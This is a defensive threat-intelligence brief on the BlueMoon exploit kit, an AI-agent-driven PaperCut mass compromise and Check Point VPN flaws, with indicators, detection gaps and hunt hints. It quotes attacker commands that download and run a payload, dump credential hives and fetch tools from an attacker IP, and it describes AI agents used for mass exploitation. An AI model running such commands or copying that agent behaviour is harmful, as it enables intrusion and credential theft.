Cyber Threat Brief — September 11 2026

1. BlueMoon Exploit Kit — CVE-2026-85046 / CVE-2026-87491 / CVE-2026-85880

TL;DR: Proofpoint (+ Volexity/GTIG/MSTIC) tracks BlueMoon, a shared EK chaining Chrome V8 CVE-2026-85046 + sandbox escape CVE-2026-87491 with Windows ALPC LPE CVE-2026-85880. ≥4 espionage clusters (TA412 first 2026-08-28) deliver via spearphish → default chrome.exe→cmd.exe→curl.exe→%TEMP%\msgbox.exe.

What’s New:

Amplification 2026-09-09/10 (Proofpoint primary; BleepingComputer/THN secondary); activity observed through Sep 8
Default post-exploit: curl -sS -o "%TEMP%\msgbox.exe" <exeUrl> && "%TEMP%\msgbox.exe"
TA412: GemStone Chrome extension (Gemini lure) under C:\Users\Public\stomp_ext; C2 Cloudflare Workers extension-management-portal.*.workers.dev
UNK_LateNight: scheduled task EdgeCore_AutoUpdate + ShadowPad C2 ms.checrity.com; UNK_QuietRacket: task GeForceService / GfExperienceService64.exe
LPE gated to Windows builds 17763 / 19041–19045 / 20348 / 22000; force Chrome ≥153.0.8010.36/.37 + Sep LCU for CVE-2026-85880

Actionable Intel

Artifact	Type	ATT&CK	Log Source	Action
Process tree `Image=chrome.exe`/`msedge.exe` → `cmd.exe` → `curl.exe` writing `%TEMP%\msgbox.exe` or `ChromeUpdate.exe` (BlueMoon default)	Exploit post-stage	T1203 / T1105	Sysmon 1 / EDR	Alert parent browser → curl drop under `%TEMP%`; quarantine host; force Chrome ≥153.0.8010.36 for CVE-2026-85046/CVE-2026-87491
Scheduled task name `EdgeCore_AutoUpdate` (UNK_LateNight / ShadowPad)	Persistence	T1053.005	Security 4698 / TaskScheduler	Delete task; hunt sibling sideload DLL + `A08744D2.tmp`; patch CVE-2026-85880 Sep LCU
Scheduled task `GeForceService` executing `C:\ProgramData\GfExperienceService64.exe` (UNK_QuietRacket)	Persistence	T1053.005	TaskScheduler / Sysmon 1	Remove task + binaries; block DoH TXT to `dns.elixnovorem.com` / `dns.getaiexo.com`
Chrome `sessionStorage` key `v8ctf_exp_attempt`	EK fingerprint	T1185	Browser forensic / EDR	Hunt key presence on user profiles after suspicious link click
Domains `secboxes.com`, `msbenefit.com`, `attcdn.com`, `ms.checrity.com`, `brianwilli.com`, `joinmacket.com`	C2 / delivery	T1071.001	DNS / proxy	Block + historical resolve; correlate to BlueMoon landing hosts
Extension path `C:\Users\Public\stomp_ext` + Gemini-themed GemStone (`background.js`)	Browser backdoor	T1176	FIM / Chrome Preferences	Remove unsigned extension; rotate cookies/tokens; hunt `POST /api/extensions/register`

Detection

Source	Rule	Gap
Splunk ESCU	PARTIAL — `Windows Curl Download to Suspicious Path`	Matches `curl.exe` `-O`/`--output` into `%TEMP%`/`AppData` (default `msgbox.exe` path). Misses browser→cmd→curl parent requirement, `v8ctf_exp_attempt`, GemStone, named tasks. Rejected `Suspicious Curl Network Connection` (hardcodes `s3.amazonaws.com` only)
Elastic	None — verified search	0 BlueMoon / `msgbox.exe` / `EdgeCore_AutoUpdate` / GemStone mappings
Sigma	None — verified search	0 SigmaHQ ET-2026 BlueMoon rules (Suricata ET 2071919–2071924 are network IDS, not in local Sigma tree)

Hunt hint: Sysmon: ParentImage ends with \chrome.exe or \msedge.exe spawning cmd.exe whose child is curl.exe writing %TEMP%\msgbox.exe. Enumerate tasks EdgeCore_AutoUpdate / GeForceService. Patch Chrome for CVE-2026-85046/CVE-2026-87491 and Windows LCU for CVE-2026-85880.

Sources: Proofpoint BlueMoon, BleepingComputer, The Hacker News

2. PaperCut AI-Agent Mass Compromise — CVE-2026-81578 / CVE-2026-82078

TL;DR: GreyNoise: Russian-speaking actor used hundreds of AI agents (Codex harness + DeepSeek) from 45.142.193.132 to exploit CVE-2026-81578 + CVE-2026-82078, compromising ≥440 PaperCut NG/MF instances / 395 orgs (48 countries; education-heavy). Dom-admin in as little as 5–7 minutes.

What’s New:

GreyNoise 2026-09-09 + Help Net Security / SecurityWeek / THN 2026-09-10/11 amplify campaign scale (story beyond Aug 28 disclosure)
Post-RCE: LSASS/hive dump → PtH / noPac (CVE-2021-42278/CVE-2021-42287) / local DA add → DCSync
Staging files: C:\Windows\Temp\pc-sys.hiv, pc-sec.hiv, pc-*.b64; Ligolo C:\ProgramData\ligolo-agent.exe / C:\ProgramData\LegitSvc\legit-svc.exe
Account Administrator17; tooling MD5s e.g. 528cd4e69ecfa5191adbcf6ef28667bf (lsa_read.exe); web marker ...\PaperCut MF\server\custom\web\pcp_<10rand>.txt
KEV due 2026-09-14 still applies — patch + internet-restrict App Server

Actionable Intel

Artifact	Type	ATT&CK	Log Source	Action
PaperCut NG/MF missing Emergency Patch for CVE-2026-81578 / CVE-2026-82078 (pre-2026-08-28 fixed builds)	Vulnerable app	T1190	CMDB / PaperCut version	Patch all App/Site/secondary servers; remove internet exposure of App Server before KEV due 2026-09-14
Src IP `45.142.193.132` / `45.158.196.75` (campaign orchestration)	Attacker infra	T1190	Firewall / WAF / PaperCut access	Block; hunt historical hits to PaperCut HTTPS; investigate any session from these IPs
Parent `Image` ends with `\pc-app.exe` spawning `cmd.exe`/`powershell.exe`/`java.exe`	Post-exploit shell	T1059	Sysmon 1 / EDR	Critical — isolate PaperCut host; collect process tree for CVE-2026-82078 chain
Files `C:\Windows\Temp\pc-sys.hiv`, `pc-security.hiv`, *`pc-.b64` or `C:\ProgramData\pc-sys-reg.hiv`**	Cred dump staging	T1003.002	Sysmon 11 / FIM	Treat as confirmed post-exploitation; rotate domain secrets if present
Cmdline `reg save HKLM\SYSTEM "C:\Windows\Temp\pc-system.hiv"` + `certutil -encode` / `certutil -urlcache ... 45.142.193.132`	Tooling chain	T1003.002 / T1105	Sysmon 1	Alert; kill; hunt Ligolo paths `ligolo-agent.exe` / `LegitSvc\legit-svc.exe`
Local account `Administrator17` or file `...\server\custom\web\pcp_*.txt`	Persistence / exploit marker	T1136.001 / T1505	SAM / PaperCut FS	Disable account; preserve `pcp_*.txt` for IR

Detection

Source	Rule	Gap
Splunk ESCU	PARTIAL — `Windows PaperCut NG Spawn Shell` + `Windows Sensitive Registry Hive Dump Via CommandLine` + `Windows File Download Via CertUtil`	`pc-app.exe`→shell catches RCE stage; `reg save` HKLM\SYSTEM/SECURITY catches hive dump; certutil URL cache catches tool fetch. Misses `45.142.193.132`, `Administrator17`, `pc-*.hiv` filenames, Ligolo paths, AI-orchestration itself
Elastic	PARTIAL — `Suspicious Child Process of PaperCut Server Component`	Explicitly maps CVE-2026-81578/CVE-2026-82078 `pc-app.exe`/`pc-printjob-spooler.exe` child shells. Misses campaign IPs/hive filenames/Ligolo
Sigma	PARTIAL — `PaperCut MF/NG Exploitation Related Indicators` (2023 ET)	2023 `setup.msi`/`IntegratorLogin` patterns — wrong campaign. Use process-creation hunts for `pc-app.exe` children instead

Hunt hint: Inventory PaperCut builds vs Aug 28 emergency patch for CVE-2026-81578/CVE-2026-82078. Alert pc-app.exe→shell; reg save to C:\Windows\Temp\pc-*.hiv; egress to 45.142.193.132:8000/8089. Assume domain compromise if hive/Ligolo artifacts present.

Sources: GreyNoise Agents Gone Wild, Help Net Security, SecurityWeek, The Hacker News

3. Check Point VPN Certificate Unauth RCE — CVE-2026-85102 / CVE-2026-85103

TL;DR: Check Point disclosed CVE-2026-85102 (improper VPN cert validation) and CVE-2026-85103 (ASN.1 heap overflow) — both CVSS 9.8 unauth RCE on Quantum Gateway / Management / Spark VPN paths. No ITW claimed; patch via LivePatch or Jumbo Takes R81.20 Take 166 / R82 Take 126 / R82.10 Take 44.

What’s New:

Customer notice 2026-09-09; SecurityWeek / THN / CERT-EU amplify 2026-09-10/11
Affects R81.20 ≤Take 165, R82 ≤Take 125, R82.10 ≤Take 43 (VPN Site-to-Site / Remote Access; Management also for CVE-2026-85103)
Temporary: disable implied VPN rules; restrict UDP 500/4500 to known peer IPs (Spark local-managed may lack this mitigation)
Verify LivePatch: Expert cplp list / cpinfo -y CPupdates showing urgent security update take

Actionable Intel

Artifact	Type	ATT&CK	Log Source	Action
Jumbo Hotfix R81.20 ≤ Take 165, R82 ≤ Take 125, or R82.10 ≤ Take 43 (CVE-2026-85102 / CVE-2026-85103)	Vulnerable gateway	T1190	Check Point inventory / `cpinfo`	Install LivePatch or Jumbo Take 166 / 126 / 44 (branch-matched); prioritize internet-facing VPN
Site-to-Site / Remote Access VPN blade enabled on vulnerable take	Exposure gate	N/A	`fw stat` / SmartConsole	Confirm VPN config; if unpatchable short-term, disable implied VPN rules and allowlist peer IPs on UDP 500 + UDP 4500
sk1000117 (CVE-2026-85102) / sk1000118 (CVE-2026-85103) not applied	Patch gap	N/A	CP support portal / LivePatch status	`cplp list` must show urgent security update; do not assume auto-rollout succeeded
Unexpected IKE/UDP 500	4500 from non-peer Internet sources during disclosure window (≥2026-09-09)	Exploit probe	T1190	Firewall logs / NetFlow

Detection

Source	Rule	Gap
Splunk ESCU	None — verified search	0 CVE-2026-85102 / CVE-2026-85103 / Check Point VPN cert ASN.1 detections
Elastic	None — verified search	0 mapped Check Point VPN certificate RCE rules for these CVEs
Sigma	None — verified search	0 ET-2026 rules for CVE-2026-85102/85103

Hunt hint: Enumerate Quantum/Spark Jumbo takes vs 166/126/44. Confirm LivePatch with cplp list. Until patched, restrict UDP 500/4500 to known peers. No vendor IoCs — patch is the control.

Sources: SecurityWeek, The Hacker News, Beazley BSL-A1203, CERT-EU 2026-012, Check Point sk1000117 / sk1000118

Status Updates

CVE-2026-75650 (StyleSmuggler / Magento): CISA KEV due TODAY 2026-09-11 — confirm VULN-39341 + encryption-key/credential rotation; hunt [kworker/u:8:0] / .gvfsd if pre-patch exposure. Sep 8
N-central CVE-2026-86218: Same KEV due TODAY — require HF4 build 2026.3.1.14; hunt admin emails with .invalid suffix. Sep 7
MikroTrick / CVE-2026-67277 + CVE-2026-86060: CISA KEV added 2026-09-10, due 2026-09-13 (forensicTriage=Yes on 86060) — patch RouterOS 7.24.2 / 7.23.4 / 6.49.21; hunt SSH user -2, privileged ops, Flagged. Sep 6
CVE-2026-20079 / CVE-2025-25249 / CVE-2026-19490: KEV due tomorrow 2026-09-12 — FMC/Forti/Citrix patch + triage still mandatory. Sep 10
CVE-2026-81963 / CVE-2026-85880 / CVE-2026-87491 / CVE-2026-85046: Continue Sep LCU + Chrome ≥153; BlueMoon (§1) is the campaign lens on these CVEs. Sep 9 · Sep 5
PoisonedRefresh / FalconFlank / ShieldCrash: No material change — keep prior hunts. Sep 9 · Sep 5